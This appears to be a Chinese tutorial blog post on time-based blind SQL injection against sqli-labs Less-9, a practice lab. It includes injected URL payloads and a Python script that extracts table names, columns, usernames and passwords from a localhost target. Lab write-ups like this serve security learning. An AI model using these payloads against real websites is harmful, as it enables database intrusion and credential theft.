sqlilabs less9

第九关提示是基于时间的盲注,首先先来了解一下必要的函数

sleep(time) 仅在MySQL 5之后可用。等待time那么多秒
在这里插入图片描述

benchmark(count,expr) 重复执行expr count次,用来测试MySql执行表达式的速度。
在这里插入图片描述

if(condition,when_ture,when_false) 如果满足condition,就 执行或打印when_ture,否则就执行或打印when_false
满足condition在这里插入图片描述
不满足condition
在这里插入图片描述

先来判断注入类型
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用了 1’、1"、1 没有反应,为什么没反应呢,我猜想可能是因为服务器无论正确与否只会发送You are in…这一个数据,所以需要一些方法来发现是否正确,所以就有时间盲注,通过观察等待时间判断正确与否。
猜测可能是这样

if  ((select * from tables where id = value) 有内容)
	print You are in.....
else
	print You are in.....

好了来实践一下
可以看到没有等待时间
在这里插入图片描述
等待了五秒,说明了什么,说明是字符型注入
在这里插入图片描述
先来判断列数
在这里插入图片描述
列数判断完以后就能开始下一步工作了
找到数据库名字长度是8
在这里插入图片描述
找数据库名字
在这里插入图片描述
找表名在这里插入图片描述
属性名和元组值相同
不过手动时间盲注太过于麻烦,可以考虑burp suite,或者手写脚本。

import requests

def zr(url,zrname):
    array1 = "abcdefghijklmnopqrstuvwxyz_-.,"
    proof = "0000ff"
    tmp = zrname
    zrname = ''
    for i in range(1,100):
        url1 = url + str(i) + ',1)=\''
        for s in array1:
            url2 = url1 + s + '\',sleep(0.1),1)%23'
            r = requests.get(url2)
            if proof in r.text:
                zrname += s
    print( tmp + ": " + zrname)


zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),','tablename')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = \'users\'),','columnslist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(username) from users),','usernamelist')
zr('http://localhost/sqlilabs/Less-9/?id=1\' and if(substr((select group_concat(password) from users),','passwordlist')

在这里插入图片描述
啊,为什么判断条件是0000ff
我注意到正确的sql它有个这个
在这里插入图片描述

错误的就没有在这里插入图片描述

总结一下
如果遇到有些情况,页面只有一种结果无法判断正确或者注入类型,就可以用时间盲注来通过等待时间判断正确。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值